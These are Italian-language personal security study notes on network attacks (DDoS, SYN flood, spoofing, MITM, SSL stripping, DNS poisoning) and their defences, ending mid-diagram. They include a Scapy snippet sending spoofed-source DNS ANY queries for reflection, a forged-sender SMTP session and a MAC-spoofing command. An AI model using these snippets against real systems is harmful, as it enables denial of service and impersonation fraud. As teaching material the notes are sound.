[{"content":" whoami # User: Barno (Alessio Barnini) Status: /dev/urandom - Sorgente di entropia,\nappunti sparsi e frammenti di codice.\nQuesto spazio non è un blog, è il raw dump del mio vault Obsidian. Errori inclusi. È un cantiere aperto per definizione.\nUsa ciò che ti serve. Segnala ciò che è rotto.\n","date":"9 giugno 2026","externalUrl":null,"permalink":"/","section":"","summary":"whoami # User: Barno (Alessio Barnini) Status: /dev/urandom - Sorgente di entropia,\nappunti sparsi e frammenti di codice.\nQuesto spazio non è un blog, è il raw dump del mio vault Obsidian. Errori inclusi. È un cantiere aperto per definizione.\nUsa ciò che ti serve. Segnala ciò che è rotto.\n","title":"","type":"page"},{"content":"","date":"9 giugno 2026","externalUrl":null,"permalink":"/tags/automation/","section":"Tags","summary":"","title":"Automation","type":"tags"},{"content":" mindmap root((Cap 7 Advanced Attacks)) Network Attacks SYN Flood Forgery IP Spoofing ARP Spoofing On-Path MITM SSL Stripping DNS Attacks Poisoning Pharming Domain Hijacking Replay Attacks Secure Coding Input Validation Client-side Server-side Race Conditions Error Handling Code Obfuscation Code Signing Application Attacks Memory Vulnerabilities Buffer Overflow Memory Leak Integer Overflow Injection SQL · LDAP · XML DLL · Directory Traversal XSS Automation Use Cases Benefits Considerations Network Attacks # mindmap root((Network Attacks)) DoS and DDoS SYN Flood half-open connections SYN cookies defense Reflected third-party servers IP spoofed Amplified small request big response DNS NTP Memcached Forgery and Spoofing Email Spoofing SMTP no auth SPF DKIM DMARC IP Spoofing raw socket root required reflected DDoS vector MAC Spoofing Layer 2 only bypass MAC filtering On-Path MITM double TLS channel certificate warnings SSL Stripping HTTP to HTTPS gap HSTS defense Attacker in Browser Trojan extension bypasses TLS DNS Attacks DNS Poisoning corrupt server cache DNSSEC defense Pharming hosts file local single machine Domain Hijacking registrar account registry lock DNS Sinkhole redirect C2 traffic identify infected hosts Replay Attacks Credential replay token not password Kerberos TGT Countermeasures timestamps sequence numbers MFA DoS and DDoS Attacks # mindmap root((DoS and DDoS)) Mechanism Resource Exhaustion NIC bandwidth CPU RAM Botnet many sources DDoS IP spoofing hides attacker SYN Flood half-open connections TCP three-way handshake ACK never arrives Defense SYN cookies kernel backlog limit Reflected third-party redirect src IP spoofed to victim UDP only TCP handshake breaks it Amplified small request big response DNS ANY query 50x NTP monlist 500x Indicators sustained high traffic NIC CPU RAM maxed connection table full Tipo Attaccanti Target Espansione DoS (Denial of Service) 1 1 Denial of Service DDoS (Distributed Denial of Service) molti (botnet) 1 Distributed Denial of Service Obiettivo: resource exhaustion — saturare le risorse del target fino a rendere il servizio irraggiungibile per gli utenti legittimi. Nei casi estremi: crash del sistema. La variante flood (inondazione) manda pacchetti in massa per sommergere il target.\nCome si fa: Il target riceve un volume di richieste impossibile da gestire. Esempio classico: un web server risponde a richieste HTTP (Hypertext Transfer Protocol). Un DDoS può inviare migliaia di richieste al secondo da centinaia di sorgenti diverse — il server esaurisce le risorse e smette di rispondere a traffico legittimo.\nPerché si fa: Sabotaggio competitivo, estorsione (paga o ti tengo offline), distrazione mentre avviene un altro attacco, attivismo (hacktivism).\nCosa colpisce:\nNIC (Network Interface Card): saturazione di banda in entrata Processore: CPU al 100% per gestire connessioni Memoria: RAM esaurita dalle connessioni in attesa Indicatori:\nTraffico di rete sostenuto e anormalmente alto sulla NIC CPU e RAM al massimo senza carico applicativo Utenti legittimi che non riescono ad accedere al servizio Vettore rete — volume massiccio di richieste verso il target Causa nessun limite al numero di richieste che un server deve gestire Effetto voluto resource exhaustion — servizio irraggiungibile per utenti legittimi Difesa rate limiting, DDoS protection (AWS Shield, Cloudflare), autoscaling con budget cap Indicatore traffico NIC anomalo e sostenuto, CPU/RAM al massimo senza carico applicativo reale, utenti che non riescono a raggiungere il servizio, bandwidth billing anomalo nel cloud CIA Triad Availability — il servizio diventa irraggiungibile per gli utenti legittimi a causa dell'esaurimento delle risorse Scope rete / servizio specifico — tutti gli utenti che tentano di raggiungere il server o servizio colpito Nel cloud — niente NIC fisica, ma il problema resta: In un ambiente cloud non c'è una NIC fisica. Se l'autoscaling è attivo, le istanze si moltiplicano per assorbire il traffico — ma il costo esplode. Se ci sono limiti di quota o budget cap, la performance degrada comunque. Gli indicatori si spostano su: bandwidth billing anomalo, network I/O nelle dashboard (CloudWatch, Azure Monitor), quote di compute raggiunte. I provider cloud offrono DDoS protection nativa (AWS Shield, Azure DDoS Protection, Cloudflare Magic Transit).\nReflected DDoS # mindmap root((Reflected DDoS)) Mechanism Attacker spoofs src IP victim IP as source Third-party server replies sends response to victim Why UDP Only TCP SYN-ACK goes to victim victim sends RST connection never completes IP Spoofing raw socket root required kernel bypassed Tools hping3 Scapy nping L'attaccante non manda il traffico direttamente alla vittima — lo fa fare a un terzo.\nAttaccante → [richiesta con IP sorgente SPOOFATO = IP vittima] → Server terzo Server terzo → [risposta inviata all\u0026#39;IP sorgente = vittima] → Vittima La vittima riceve un diluvio di risposte a richieste che non ha mai fatto. L'attaccante rimane nascosto dietro l'IP spoofato.\nIP spoofing — come si costruisce il pacchetto: Il kernel di un OS normale gestisce l'IP sorgente automaticamente e mette il tuo IP reale. Per falsificarlo devi usare i raw socket — che richiedono privilegi root/admin — e costruire il pacchetto IP a mano, campo per campo. Tool che lo fanno: hping3, nping, Scapy (Python).\n# Scapy — DNS ANY query con src IP spoofato from scapy.all import * send(IP(src=\u0026#34;vittima.ip\u0026#34;, dst=\u0026#34;dns.server\u0026#34;) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=\u0026#34;example.com\u0026#34;, qtype=\u0026#34;ANY\u0026#34;))) Perché funziona solo con UDP, non TCP: Con TCP il three-way handshake tradisce l'attacco. Il server manda il SYN-ACK all'IP della vittima (non all'attaccante). La vittima riceve un SYN-ACK per una connessione che non ha mai aperto — non ha nessun SYN pendente in quella direzione — quindi manda un RST e dropa tutto. hping3 può mandare SYN spoofati su TCP ma non risolve questo problema: la vittima resetta comunque perché il pacchetto arriva fuori contesto.\nAttaccante → SYN [src=vittima] → Server amplificatore Server → SYN-ACK → vittima (non attaccante) Vittima → RST → Server (non sa nulla di quel SYN) Connessione non completata — nessuna amplificazione L'unico scenario TCP con IP spoofato che \u0026quot;funziona\u0026quot; è il SYN flood — ma lì l'obiettivo non è amplificare: è lasciare il server con migliaia di connessioni in stato SYN_RECEIVED che aspettano un ACK finale che non arriverà mai, esaurendo la connection table.\nAmplified DDoS # mindmap root((Amplified DDoS)) Formula small request UDP verboso protocol IP spoofed src huge response to victim Protocols DNS ANY query 60 byte in 3000 byte out 50x amplification NTP monlist 8 byte in 4500 byte out 500x amplification Memcached 15 byte in MB out 50000x amplification Real Case Mirai botnet 2016 Dyn DNS target Twitter Netflix Reddit down Combina reflection + amplificazione: una piccola richiesta UDP genera una risposta enorme. Il server terzo diventa un moltiplicatore.\nLa formula: richiesta piccola + protocollo UDP verboso per natura + IP spoofato = amplificazione\nAttaccante → [src IP = vittima, dst IP = DNS server] → query ANY, 60 byte (UDP) DNS server → [src IP = DNS server, dst IP = vittima] → risposta, 3000 byte (UDP) Il DNS server vede una richiesta legittima proveniente dall'IP della vittima e risponde educatamente a quell'IP. Non c'è nulla di sospetto dal suo punto di vista. L'attaccante non riceve mai la risposta — non gli serve. Il suo obiettivo è far sì che migliaia di server onesti bombardino la vittima con risposte che lei non ha mai chiesto.\nI protocolli scelti sono quelli che per design restituiscono tanto:\nProtocollo Richiesta Perché risponde tanto Amplificazione tipica DNS (Domain Name System) query ANY, ~60 byte restituisce tutti i record del dominio ~50x NTP (Network Time Protocol) monlist, ~8 byte lista degli ultimi 600 client che hanno usato il server ~500x Memcached get key, ~15 byte restituisce il valore cachato — potenzialmente MB fino a 50.000x WHOIS query dominio, ~30 byte record completo del registrar ~50x Con 1 Gbps di banda in upload e amplificazione 50x, l'attaccante genera 50 Gbps di traffico verso la vittima — con i server terzi che fanno il lavoro pesante.\nTip Reflected e amplified si combinano spesso: l'attaccante riflette attraverso servizi ad alta amplificazione. Mirai botnet (2016) ha usato questo approccio per abbattere Dyn DNS e rendere irraggiungibili Twitter, Netflix e Reddit per ore.\nSYN Flood Attacks # mindmap root((SYN Flood Attacks)) Mechanism TCP three-way handshake SYN SYN-ACK ACK half-open connection IP Spoofed Source ACK never arrives connection table fills Defense SYN Cookies no state until ACK Rate Limiting SYN threshold Indicators SYN RECEIVED spike ss -s netstat -an Connection table full new connections refused Attacco DoS/DDoS che sfrutta il three-way handshake di TCP (Transmission Control Protocol). Il flood (inondazione) di pacchetti SYN impedisce ai client legittimi di connettersi al server.\nCome funziona il three-way handshake normale:\nsequenceDiagram participant C as Client participant S as Server C-\u003e\u003eS: SYN S-\u003e\u003eC: SYN/ACK C-\u003e\u003eS: ACK Note over C,S: Sessione stabilita — scambio dati Come funziona il SYN flood: Spoffato = falsificato. in questo caso falsificato e inesistente\nsequenceDiagram participant A as Attaccante participant X as IP spoofato (inesistente) participant S as Server vittima A-\u003e\u003eS: SYN [src = IP spoofato] S-\u003e\u003eX: SYN/ACK → nessuno risponde Note over S: half-open connection #1 — attende ACK A-\u003e\u003eS: SYN [src = IP spoofato 2] S-\u003e\u003eX: SYN/ACK → nessuno risponde Note over S: half-open connection #2 — attende ACK A-\u003e\u003eS: SYN [src = IP spoofato 3] Note over S: ... migliaia di half-open connections Note over S: connection table esaurita Note over S: client legittimi: connessione rifiutata L'attaccante non manda mai l'ACK finale. Per farlo usa IP sorgente spoofati (IP random inesistenti): il SYN-ACK del server va a quell'IP — nessuno risponde — la half-open connection rimane aperta per 30-120 secondi (timeout del server).\nPerché l'IP spoofato è necessario: Se l'attaccante usasse il suo IP reale, il suo stesso kernel riceverebbe il SYN-ACK e manderebbe automaticamente un RST — chiudendo subito la half-open connection e vanificando l'attacco. Il kernel manda RST perché vede un SYN-ACK per una connessione che lui non ha mai aperto (i raw socket bypassano lo stack TCP del kernel).\nQuesto è lo stesso meccanismo di nmap -sS (SYN scan / stealth scan): nmap manda SYN con raw socket, riceve SYN-ACK, il kernel manda RST automaticamente — porta rilevata come aperta senza completare la connessione.\nConseguenze sul server:\nCaso estremo: la connection table si riempie e il server crasha Caso comune: il server limita le half-open connections — una volta raggiunto il limite, elimina le più vecchie per fare spazio oppure blocca temporaneamente tutte le nuove connessioni Su Linux: gli amministratori possono impostare una soglia di SYN packets — superata la soglia, i SYN vengono bloccati. Questo ferma il flood ma nega il servizio anche ai client legittimi. Important Il SYN flood colpisce la disponibilità (Availability della CIA triad). Non è un attacco per ottenere accesso — è puro DoS. Può essere lanciato da una botnet come DDoS flood distribuito, rendendo il filtraggio per IP inutile.\nVettore rete — pacchetti SYN con IP sorgente spoofato (falsificato e inesistente) Causa il server alloca risorse per ogni half-open connection in attesa dell'ACK finale Effetto voluto esaurimento della connection table — nuove connessioni legittime rifiutate Difesa SYN cookies, soglia SYN su Linux, firewall rate limiting Indicatore spike di connessioni in stato SYN_RECEIVED (visibile con ss -s o netstat -an), connection table vicina al limite, latenza alta su nuove connessioni, log firewall con flood di SYN da IP diversi CIA Triad Availability — la connection table esaurita impedisce a client legittimi di aprire nuove sessioni TCP Scope singolo server — colpisce la connection table del servizio TCP esposto (web server, SSH, database) Forgery # mindmap root((Forgery and Spoofing)) Email Spoofing SMTP no auth From field free text MAIL FROM vs From header Defenses SPF authorized IPs DKIM signature DMARC policy IP Spoofing raw socket root kernel IP bypassed Use cases Reflected DDoS SYN Flood MAC Spoofing software override ip link set Layer 2 only does not cross routers Defense 802.1X NAC dynamic ARP inspection Forgery (contraffazione) — un attaccante crea un'identità, certificato, file o oggetto falso per ingannare un utente o un sistema. Lo spoofing è una forma di forgery: impersonare qualcuno o qualcosa.\nTre varianti principali:\nEmail Address Spoofing # mindmap root((Email Spoofing)) SMTP Weakness From field free string MAIL FROM envelope From header user sees No auth by design designed in 1980s Attack Flow BEC Business Email Compromise fake CEO order wire transfer fraud Defenses SPF authorized IPs in DNS DKIM crypto signature header DMARC policy none quarantine reject SMTP (Simple Mail Transfer Protocol) è stato progettato negli anni '80 senza autenticazione del mittente. Il campo From: nell'header è una stringa libera — chiunque può scriverci quello che vuole.\nSMTP distingue due \u0026quot;mittenti\u0026quot;:\nMAIL FROM: — l'envelope, usato per i bounce. Opera a livello di protocollo. From: header — quello che l'utente vede nel client email. Completamente indipendente dall'envelope. EHLO attacker.com MAIL FROM: \u0026lt;ceo@company.com\u0026gt; RCPT TO: \u0026lt;vittima@company.com\u0026gt; DATA From: CEO Name \u0026lt;ceo@company.com\u0026gt; Subject: Urgente — bonifico Il client email mostra ceo@company.com come mittente. La vittima non vede nulla di anomalo. Usato in spam, phishing e BEC (Business Email Compromise).\nContromisure — SPF, DKIM, DMARC: Record DNS che permettono ai server riceventi di verificare il mittente.\nSPF (Sender Policy Framework) — elenca quali IP sono autorizzati a mandare email per quel dominio DKIM (DomainKeys Identified Mail) — firma crittografica negli header dell'email DMARC (Domain-based Message Authentication, Reporting \u0026amp; Conformance) — policy che dice cosa fare se SPF/DKIM falliscono (none, quarantine, reject) Molti domini non hanno ancora DMARC configurato — email spoofing funziona ancora su questi.\nVettore email Causa SMTP non autentica il mittente — il campo From è una stringa libera Effetto voluto ingannare il destinatario facendogli credere che l'email venga da una fonte fidata Difesa SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), DMARC (Domain-based Message Authentication, Reporting and Conformance) Indicatore campo From: e MAIL FROM: (envelope) che non coincidono, header Received: con IP non appartenente al dominio dichiarato, assenza di firma DKIM o allineamento SPF fallito nei log del mail server CIA Triad Confidentiality / Integrity — l'identità del mittente è falsificata, il destinatario riceve informazioni ingannevoli credendo si tratti di una fonte fidata Scope singolo destinatario o lista di distribuzione — ogni utente che riceve l'email spoofata IP Spoofing # mindmap root((IP Spoofing)) How raw socket root required kernel bypassed custom IP header Use Cases Reflected DDoS third-party sends to victim SYN Flood ACK never returns Defense ingress filtering ISP blocks src IP outside range L'attaccante cambia l'indirizzo sorgente nel pacchetto IP in modo che sembri provenire da un IP diverso. Richiede raw socket con privilegi root. Usato in reflected/amplified DDoS e SYN flood.\nVedi sezione ### DoS and DDoS Attacks per il meccanismo completo.\nVettore rete — pacchetti con IP sorgente falsificato via raw socket Causa il campo IP sorgente non è verificato dai server terzi che rispondono Effetto voluto nascondere l'identità dell'attaccante / reindirizzare risposte verso la vittima Difesa ingress filtering (ISP blocca pacchetti con IP sorgente non appartenenti al range del cliente) Indicatore pacchetti in arrivo con IP sorgente appartenente a range interni o a IP non raggiungibili via quel percorso di rete, anomalia rilevabile con analisi netflow o IDS (Intrusion Detection System) CIA Triad Availability / Confidentiality — nasconde l'identità dell'attaccante (C) e genera traffico anomalo verso la vittima contribuendo al DoS (A) Scope rete — coinvolge la vittima e i server terzi usati come amplificatori, potenzialmente su scala internet MAC Spoofing # mindmap root((MAC Spoofing)) How software override ip link set dev eth0 OS uses software MAC Layer 2 Only does not cross routers MAC replaced every hop local segment only Use Cases bypass MAC filtering impersonate authorized device Defense 802.1X port-based NAC dynamic ARP inspection Ogni NIC (Network Interface Card) ha un MAC address (Media Access Control) hardcoded dal produttore. Tuttavia è possibile via software associare un MAC diverso alla NIC — il sistema operativo usa il MAC impostato via software invece di quello fisico.\nUsi malevoli: bypassare MAC filtering su reti wireless, impersonare un dispositivo autorizzato, eludere il logging basato su MAC address.\n# Linux — cambia MAC address via software ip link set dev eth0 address 00:11:22:33:44:55 Note MAC spoofing funziona solo a livello locale (Layer 2 — stesso segmento di rete). I MAC address non attraversano i router — vengono sostituiti ad ogni hop. Non è utile per attacchi remoti.\nVettore rete locale (Layer 2) Causa il MAC address è modificabile via software — non è hardcoded in modo sicuro Effetto voluto bypassare MAC filtering, impersonare un dispositivo autorizzato sulla rete Difesa 802.1X port-based NAC (Network Access Control), dynamic ARP inspection Indicatore stesso MAC address associato a due porte dello switch contemporaneamente, log DHCP con MAC duplicato su IP diversi, avvisi dal sistema NAC su conflitti di identità CIA Triad Confidentiality — un dispositivo non autorizzato ottiene accesso alla rete impersonando un dispositivo fidato, potenzialmente intercettando traffico Scope rete locale (Layer 2) — efficace solo nel segmento di rete diretto, non attraversa router On-Path Attacks # mindmap root((On-Path Attacks)) Position between two parties ARP spoofing Rogue Access Point What Attacker Can Do Eavesdrop passive Modify traffic Inject malicious code Double TLS Channel two separate sessions Maggie to Harry Harry to Bart certificate warnings Variants SSL Stripping HTTP downgrade Attacker in Browser inside browser process On-path attack (noto anche come man-in-the-middle, MITM) — forma di intercettazione attiva. Un terzo computer si inserisce tra due parti in comunicazione, riceve il traffico da entrambi e lo ritrasmette. Le due parti sono unaware (ignare) dell'attaccante: ricevono tutto il traffico normalmente.\nL'attaccante può: eavesdrop (origliare) passivamente, modificare il traffico, iniettare codice malevolo.\nsequenceDiagram participant M as Maggie participant H as Hacker Harry participant B as Bart M-\u003e\u003eH: dati (crede di parlare con Bart) H-\u003e\u003eB: dati (ritrasmette a Bart) B-\u003e\u003eH: risposta (crede di parlare con Maggie) H-\u003e\u003eM: risposta (ritrasmette a Maggie) Note over H: Harry vede e controlla tutto Con connessioni cifrate — doppio canale TLS: Un on-path sofisticato non rompe la cifratura — crea due sessioni separate:\nMaggie ha una connessione TLS con Harry (non con Bart) Harry ha una connessione TLS con Bart (non con Maggie) Harry riceve i dati cifrati da Maggie, li decripta, li legge/modifica, li re-cifra e li manda a Bart. Per Maggie e Bart la comunicazione sembra normale.\nIndicatori:\nDelay anomalo — decryptare e re-encryptare introduce latenza misurabile Certificate warnings — i certificati usati da Harry non sono emessi da una CA (Certificate Authority) trusted. Il browser avvisa l'utente. Se l'utente ignora il warning, l'attacco procede. On-path su SSH: SSH stabilisce fingerprint crittografici alla prima connessione e li memorizza in ~/.ssh/known_hosts. Alle connessioni successive confronta il fingerprint — se è cambiato, avvisa:\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you (man-in-the-middle attack)! Un fingerprint diverso significa che si sta parlando con un computer diverso da quello originale — classico segnale di on-path attack. Ignorare questo warning è pericoloso.\nVettore rete — posizionamento tra due parti via ARP spoofing o rogue access point Causa il traffico non verifica l'identità degli intermediari di rete Effetto voluto intercettare e/o modificare il traffico tra due parti senza che se ne accorgano Difesa cifratura end-to-end, certificate validation, verifica fingerprint SSH, HSTS Indicatore latenza anomala sulla connessione, certificate warning del browser, avviso SSH \u0026quot;REMOTE HOST IDENTIFICATION HAS CHANGED\u0026quot;, ARP table con lo stesso IP associato a due MAC diversi CIA Triad Confidentiality / Integrity — l'attaccante legge il traffico (C) e può modificarlo in transito senza che le parti se ne accorgano (I) Scope rete locale o segmento di rete — i due host in comunicazione e il segmento tra loro Attacker-in-the-Browser # mindmap root((Attacker in the Browser)) Position inside browser process after TLS decryption sees plaintext vs Classic MITM no certificate warnings no network delay much harder to detect Techniques Form Grabbing captures before submit HTTPS irrelevant Keystroke Logging records all typing Transaction Tampering changes IBAN amount silent real-time edit Real Case Zeus Malware banking credentials silent IBAN swap Variante dell'on-path attack ma operante dentro il browser, non sulla rete. Un Trojan installa un'estensione/plugin malevola nel browser. L'attaccante non è tra i due computer a livello di rete — è dentro il processo del browser stesso.\nPerché è più pericoloso del MITM classico:\nOn-path classico Attacker-in-the-browser Posizione tra i due sistemi, layer rete dentro il browser, dopo TLS Vede traffico cifrato? sì, deve gestire certificati no, vede già il plaintext Certificate warnings? sì no Introduce delay? sì no Rilevabile? più facile molto difficile Il browser decripta il traffico TLS prima di mostrarlo all'utente — l'estensione malevola gira dopo quella decryption, vede tutto in chiaro.\nTecniche:\nForm grabbing — cattura i dati dei form prima del submit, anche su HTTPS Keystroke logging — registra tutto quello che l'utente digita nel browser Transaction tampering — modifica una transazione bancaria in tempo reale (cambia IBAN, importo) prima che venga inviata al server Caso reale: Zeus malware — aspettava che l'utente accedesse alla propria banca, rubava le credenziali e modificava i bonifici silenziosamente. L'utente vedeva la schermata di conferma normale mentre i soldi andavano su un conto offshore.\nImportant L'attacker-in-the-browser bypassa completamente TLS. Non serve fare MITM sulla rete — basta compromettere il browser. Per questo le estensioni da fonti non verificate sono un rischio reale.\nVettore endpoint — Trojan installa un'estensione malevola nel browser Causa le estensioni hanno accesso al DOM e al traffico dopo la decryption TLS Effetto voluto rubare credenziali e modificare transazioni senza generare alert o certificate warnings Difesa estensioni solo da store ufficiali, EDR (Endpoint Detection and Response), browser isolation Indicatore estensioni sconosciute o non autorizzate nel browser, transazioni bancarie con importi o destinatari diversi da quelli inseriti, comportamento anomalo del browser rilevato dall'EDR, processi browser con connessioni di rete inattese CIA Triad Confidentiality / Integrity — le credenziali vengono rubate (C) e le transazioni vengono modificate silenziosamente prima dell'invio al server (I) Scope singolo sistema — solo l'endpoint con il browser compromesso; l'impatto finanziario può però estendersi all'organizzazione (BEC) Secure Sockets Layer Stripping # mindmap root((SSL Stripping)) Attack Window before TLS established HTTP redirect intercepted browser stays on HTTP Mechanism on-path position required intercept 301 redirect maintain HTTPS to server Indicators http in URL bar Not Secure icon no padlock Defense HSTS max-age header HSTS Preload List first visit still vulnerable SSL stripping (o TLS stripping -\u0026gt; rimuove) — attacco che degrada una connessione HTTPS (Hypertext Transfer Protocol Secure) a HTTP (Hypertext Transfer Protocol) non cifrata. Il nome \u0026quot;SSL stripping\u0026quot; è rimasto anche se oggi HTTPS usa TLS (Transport Layer Security) e non più SSL (Secure Sockets Layer).\nIl punto vulnerabile — prima che TLS sia stabilito:\nUna sessione HTTPS è cifrata, ma la cifratura non esiste ancora durante la negoziazione iniziale. L'attaccante (già posizionato on-path) intercetta questo momento.\nFlusso normale:\nBrowser → HTTP request → Server Server → 301 redirect → https://example.com Browser → TLS handshake → connessione cifrata Con SSL stripping:\nBrowser → HTTP request → Attaccante → HTTPS → Server reale Attaccante intercetta il 301 redirect Attaccante → HTTP page → Browser (niente TLS handshake) Il browser riceve HTTP — nessun TLS handshake, nessuna cifratura. L'attaccante vede tutto in chiaro. Il server reale non sa nulla — riceve richieste HTTPS normali dall'attaccante.\nPerché SSL stripping funziona — il doppio handshake: Una connessione HTTPS usa due handshake in sequenza. Il TLS entra in azione solo dopo che TCP ha stabilito il canale — e questo gap è il punto vulnerabile.\nsequenceDiagram participant C as Client participant S as Server Note over C,S: TCP Handshake (in chiaro) C-\u003e\u003eS: SYN S-\u003e\u003eC: SYN-ACK C-\u003e\u003eS: ACK Note over C,S: TLS 1.3 Handshake (in chiaro — negozia la cifratura) C-\u003e\u003eS: Client Hello (versioni TLS supportate, cipher suites, key share) S-\u003e\u003eC: Server Hello (cipher suite scelta, key share) S-\u003e\u003eC: Certificato + Finished C-\u003e\u003eS: Finished Note over C,S: Da qui tutto cifrato C-\u003e\u003eS: HTTP Request (cifrata) S-\u003e\u003eC: HTTP Response (cifrata) SSL stripping intercetta il redirect HTTP → HTTPS che scatterebbe tra TCP e TLS — impedendo che il TLS handshake parta. Il browser resta in HTTP puro per tutta la sessione.\nflowchart TD A([Browser: http://example.com]) --\u003e B subgraph TCP[\"TCP Handshake — in chiaro\"] B[SYN] --\u003e C[SYN-ACK] --\u003e D[\"ACK — canale aperto, nessuna cifratura\"] end D --\u003e E subgraph WINDOW[\"⚠ FINESTRA DI ATTACCO — TLS non ancora attivo\"] E[\"Server: 301 Redirect → https://\"] E --\u003e F{\"Attaccante intercetta?\"} end F --\u003e|SÌ| G[\"Attaccante blocca il redirect — serve HTTP al browser — mantiene HTTPS col server\"] G --\u003e H([\"SESSIONE IN CHIARO — http:// · Not Secure · attaccante vede tutto\"]) F --\u003e|NO| I subgraph TLS[\"TLS 1.3 Handshake — in chiaro, negozia la cifratura\"] I[\"Client Hello — versioni TLS · cipher suites · key share\"] I --\u003e J[\"Server Hello — cipher suite · key share · Certificato · Finished\"] J --\u003e K{\"Certificato trusted?\"} end K --\u003e|NO| L([\"⚠ Certificate Warning — indicatore on-path attack\"]) K --\u003e|SÌ| M[\"Client Finished — entrambi derivano le chiavi di sessione\"] M --\u003e N([\"SESSIONE CIFRATA — https:// · lucchetto · TLS attivo\"]) style WINDOW fill:#5c1a1a,stroke:#e05555,stroke-width:2px,color:#ffffff style H fill:#8b0000,stroke:#e05555,color:#ffffff style L fill:#8b0000,stroke:#e05555,color:#ffffff style N fill:#1a4a1a,stroke:#4aaf7e,color:#ffffff style G fill:#8b3a00,stroke:#ff7a4a,color:#ffffff Note Il redirect 301 non è ovvio: quando digiti example.com il browser prova http:// per default. Il server risponde con 301 Moved Permanently → https://example.com per forzare HTTPS. Quella risposta 301 viaggia in HTTP, in chiaro — ed è il punto che SSL stripping intercetta. HSTS elimina questo gap facendo sì che il browser vada direttamente su HTTPS senza mai mandare la prima richiesta HTTP.\nIndicatori nel browser:\nURL mostra http:// invece di https:// Icona \u0026quot;Not secure\u0026quot; a sinistra della barra degli indirizzi Nessun lucchetto Contromisura principale — HSTS (HTTP Strict Transport Security):\nIl server invia un header nella risposta HTTPS che dice al browser: \u0026quot;questo sito va visitato SOLO in HTTPS per i prossimi X secondi\u0026quot;. Il browser salva questa regola nel suo HSTS store — un database interno dedicato, separato dai cookie.\nFlusso completo del salvataggio HSTS:\nsequenceDiagram participant B as Browser participant S as Server Note over B,S: Prima visita — vulnerabile B-\u003e\u003eS: GET http://example.com S-\u003e\u003eB: 301 Redirect → https://example.com B-\u003e\u003eS: TLS handshake + GET https://example.com S-\u003e\u003eB: 200 OK + Strict-Transport-Security: max-age=31536000 Note over B: Browser salva regola HSTS store Note over B: \"example.com → solo HTTPS per 31536000 secondi\" Note over B,S: Visite successive — protetto B-\u003e\u003eS: https://example.com (HTTP mai tentato) Note over B: Browser consulta HSTS store prima di aprire TCP Note over B: Regola trovata → forza https:// internamente HSTS store vs Cookie:\nCookie HSTS store Header server Set-Cookie Strict-Transport-Security Usato da server (riceve il cookie) browser (decide lo schema) Inviato al server sì, ad ogni richiesta no, solo locale Visibile in DevTools sì Chrome: chrome://net-internals/#hsts Scadenza data o sessione max-age in secondi Prima visita — il tallone d'Achille di HSTS:\nLa regola HSTS viene salvata solo dopo la prima risposta HTTPS. Questo significa che la primissima visita passa sempre per HTTP e il 301 redirect — ed è vulnerabile a SSL stripping.\nPrima visita SENZA preload list: Browser → http:// → Server → 301 → https:// ↑ vulnerabile questa volta Dopo: HSTS in memoria → visite successive dirette in https:// Prima visita CON preload list: Browser → https:// direttamente (lista hardcoded nel browser) ↑ mai vulnerabile — HTTP non viene mai tentato HSTS Preload List: Lista di domini hardcoded nel codice sorgente di Chrome, Firefox, Safari — i siti che vi compaiono sono forzati su HTTPS anche alla primissima visita, senza mai tentare HTTP. Google, Facebook, GitHub ci sono. Un sito può richiedere l'iscrizione su hstspreload.org.\nWarning HSTS protegge solo dalla seconda visita in poi — salvo preload list. La prima connessione è sempre il momento più esposto a SSL stripping.\nQuando il max-age scade, la regola viene rimossa dallo HSTS store e il browser torna vulnerabile fino alla visita successiva, quando il server la rinnova. Per questo i siti seri impostano max-age su valori alti — un anno o due — in modo che la regola venga rinnovata ad ogni visita molto prima di scadere.\nVettore rete — on-path attack intercetta il redirect HTTP → HTTPS Causa la prima richiesta HTTP viaggia in chiaro prima che TLS sia stabilito Effetto voluto degradare la connessione a HTTP per intercettare il traffico in chiaro Difesa HSTS (HTTP Strict Transport Security), HSTS Preload List Indicatore URL mostra http:// invece di https://, icona \u0026quot;Not secure\u0026quot; nel browser, nessun lucchetto nella barra degli indirizzi, credenziali o sessioni trasmesse in chiaro visibili con packet capture CIA Triad Confidentiality — la connessione non cifrata espone credenziali, cookie di sessione e dati sensibili all'attaccante posizionato on-path Scope singolo utente / connessione — colpisce la sessione specifica intercettata, richiede posizionamento on-path (stesso segmento di rete o rogue AP) DNS Attacks # mindmap root((DNS Attacks)) Server-Side DNS Poisoning corrupt resolver cache DNSSEC defense DNS Sinkhole redirect C2 traffic identify infected hosts Client-Side Pharming hosts file modified single machine only Domain Level Domain Hijacking registrar account nameserver change URL Redirection injected redirect Blue Team DNS Log Files C2 detection tunneling detection DNS Filtering blocklist domains DNS (Domain Name System) risolve hostname in indirizzi IP — elimina la necessità di ricordare IP numerici. Il browser invia una query al DNS server, riceve l'IP corretto e si connette. Gli attacchi DNS sfruttano questo meccanismo per reindirizzare gli utenti verso destinazioni malevole.\nDNS Poisoning Attacks # mindmap root((DNS Poisoning Attacks)) Mechanism Inject fake response before real arrives UDP no auth Cache poisoned all users affected DNSSEC Defense crypto signature resolver verifies Trust Anchor root hardcoded chain of trust Indicators URL correct wrong site different IP than expected Certificate warning dest site unknown cert Un DNS poisoning attack modifica o corrompe i record DNS memorizzati su un server. L'obiettivo è sostituire un IP legittimo con quello di un sito malevolo — gli utenti digitano un URL corretto ma vengono mandati altrove.\nCome funziona:\nIl DNS server non conosce tutti i domini — quando riceve una query non in cache, va a chiedere al server autoritativo. L'attaccante sfrutta questa finestra: inietta una risposta falsa prima che arrivi quella vera.\nSenza DNSSEC — attacco riuscito:\nsequenceDiagram participant U as Utente participant D as DNS Server participant A as Attaccante participant R as Server Autoritativo U-\u003e\u003eD: \"qual è l'IP di google.com?\" D-\u003e\u003eR: query al server autoritativo A-\u003e\u003eD: risposta falsa: google.com = 1.2.3.4 (IP malevolo) Note over D: nessuna firma da verificare Note over D: risposta falsa arriva prima — cache avvelenata R-\u003e\u003eD: risposta vera: google.com = 142.250.x.x (ignorata) D-\u003e\u003eU: 1.2.3.4 U-\u003e\u003eA: connette al sito malevolo credendo sia Google Con DNSSEC — attacco bloccato:\nsequenceDiagram participant U as Utente participant D as DNS Server (resolver) participant A as 